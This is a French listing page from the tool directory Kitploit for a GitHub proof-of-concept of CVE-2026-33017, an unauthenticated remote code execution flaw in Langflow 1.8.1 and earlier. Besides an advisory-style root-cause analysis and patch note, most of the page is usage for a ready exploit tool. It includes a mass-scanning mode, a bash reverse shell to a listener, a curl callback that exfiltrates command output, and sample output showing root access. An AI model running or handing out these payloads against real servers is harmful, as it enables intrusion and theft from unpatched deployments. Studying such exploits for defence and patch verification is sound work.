Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - Une exécution de code à distance non authentifiée dans Langflow <= 1.8.1 via le point de terminaison public de construction de flux (Public Flow Build Endpoint) | Kitploit
Outils/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Une exécution de code à distance non authentifiée dans Langflow <= 1.8.1 via le point de terminaison public de construction de flux (Public Flow Build Endpoint)

Voir le dépôt
1042il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33017 — PoC RCE non authentifiée pour Langflow

CVE CVSS Affected Language

À des fins éducatives et de tests autorisés uniquement.

Résumé

Langflow <= 1.8.1 expose un endpoint public de construction de flow qui accepte des données de flow contrôlées par l'attaquant, contenant du code arbitraire. Ce code est transmis à prepare_global_scope() dans validate.py, qui appelle exec() sans sandbox, ce qui conduit à une exécution de code à distance non authentifiée avec les privilèges du processus serveur.

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • Sévérité : Critique — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • Corrigé : 1.9.0

Versions concernées

PaquetAffectéCorrigé
pip langflow<= 1.8.11.9.0

Détails de la vulnérabilité

Cause racine

L'endpoint build_public_tmp est intentionnellement non authentifié — il est conçu pour permettre à quiconque d'exécuter un flow public stocké. Le défaut est qu'il accepte également un paramètre optionnel data contenant des définitions de flow contrôlées par l'attaquant. Un utilisateur non authentifié peut donc soumettre du code de nœud arbitraire que le serveur traite comme un graphe de flow légitime et transmet directement aux routines d'exécution de code, sans validation.

La correction est simple : supprimer le paramètre data et forcer l'endpoint à appeler exclusivement build_graph_from_db(), afin que les flows publics n'exécutent que des données stockées, jamais du code fourni par l'attaquant.

Chaîne d'exécution

La charge utile de l'attaquant parcourt la chaîne d'appels suivante avant d'atteindre l'exécution :

ÉtapeFichierDétail
1chat.py:580build_public_tmp reçoit les données de l'attaquant dans le corps de la requête
2build.py:81start_flow_build() transmet la charge utile non fiable
3build.py:298build_graph_from_data() la transmet à la construction du graphe
4base.py:1168Graph.from_payload() désérialise les définitions de nœuds fournies par l'attaquant
5base.py:1323instantiate_component() est appelée pour chaque nœud
6loading.py:43Le champ code est extrait des paramètres du composant personnalisé
7eval.py:9create_class() reçoit le code brut de l'attaquant
8validate.py:397exec(compiled_code, exec_globals) — aucun sandbox

Pourquoi l'injection au niveau du module fonctionne

prepare_global_scope() dans validate.py traite les nœuds ast.Assign pendant la compilation du graphe — avant que toute méthode de flow ne soit invoquée. Une affectation de niveau supérieur dans le code injecté s'exécute donc immédiatement :

root@kitploit:~
_r = __import__('os').system("whoami")  # runs at compile time, not at flow run time

La sortie va vers la stdout du serveur, pas vers la réponse HTTP. L'exfiltration nécessite un callback sortant (reverse shell, webhook curl).

Endpoint vulnérable

EndpointAuthentificationVecteur d'attaque
POST /api/v1/build_public_tmp/{flow_id}/flowAucuneÀ distance, non authentifiée

Scénarios d'exploitation

ScénarioPrérequis
A — AUTO_LOGIN activéAUTO_LOGIN=true : obtenir un jeton JWT de manière anonyme, créer un flow PUBLIC, exploiter
B — Flow public connuUn UUID de flow partagé/public est connu : exploiter directement, aucune authentification requise

Utilisation

root@kitploit:~
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

Options

FlagDéfautDescription
--url—URL Langflow d'une cible unique
--url-file—Fichier texte avec une URL par ligne (scan en masse)
--cmdidCommande système à exécuter sur la cible
--flow-id—UUID d'un flow public existant (ignore la création de flow)
--threads5Nombre de threads parallèles pour le mode en masse
--timeout15Délai d'attente des requêtes HTTP en secondes
--no-cleanupfalseConserver le flow créé après l'exploitation

Exemples

Important : Le PoC utilise os.system() au niveau du module — la commande s'exécute sur le serveur mais sa sortie va vers la stdout du serveur, pas vers la réponse HTTP. Le PoC confirme uniquement que l'exécution a eu lieu ([+] VULNERABLE). Pour réellement recevoir la sortie de la commande, utilisez l'une des méthodes d'exfiltration ci-dessous.

Confirmation aveugle (vérifie la RCE sans capturer la sortie)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id"

Reverse shell — avec écouteur local

root@kitploit:~
# 1. Start a listener on your machine
nc -lvnp 4444

# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Exfiltration OOB via callback HTTP — avec serveur local

root@kitploit:~
# 1. Start a local HTTP server
python3 -m http.server 8080

# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

Avec un UUID de flow public connu (aucune création de flow nécessaire)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

Scan en masse à partir d'un fichier

root@kitploit:~
python3 poc.py --url-file targets.txt --cmd "id" --threads 10

Exemple de sortie

Le PoC confirme que l'exécution a eu lieu. [+] VULNERABLE signifie que la construction a réussi et que le code injecté s'est exécuté — cela ne signifie pas que la sortie a été capturée.

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Targets : 1
  Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)

============================================================
  SUMMARY
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 target(s) vulnerable

Sortie reçue sur le serveur HTTP local :

root@kitploit:~
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

Références

  • GHSA-vwmf-pq79-vjvx
  • CVE-2026-33017
  • Dépôt Langflow
  • Lié : CVE-2025-3248 — problème exec() similaire sur /api/v1/validate/code
Télécharger l’outil